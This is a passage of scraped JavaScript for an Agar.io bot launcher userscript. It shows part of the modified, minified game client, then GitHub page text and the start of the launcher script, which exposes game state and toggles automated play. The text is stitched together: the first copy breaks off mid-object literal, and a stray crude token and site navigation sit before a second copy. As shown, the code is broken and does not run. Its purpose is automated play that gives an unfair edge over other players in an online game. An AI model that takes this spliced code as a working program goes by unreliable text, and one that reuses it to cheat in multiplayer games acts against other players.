d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && 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I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,
DickDumBR1
Skip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); 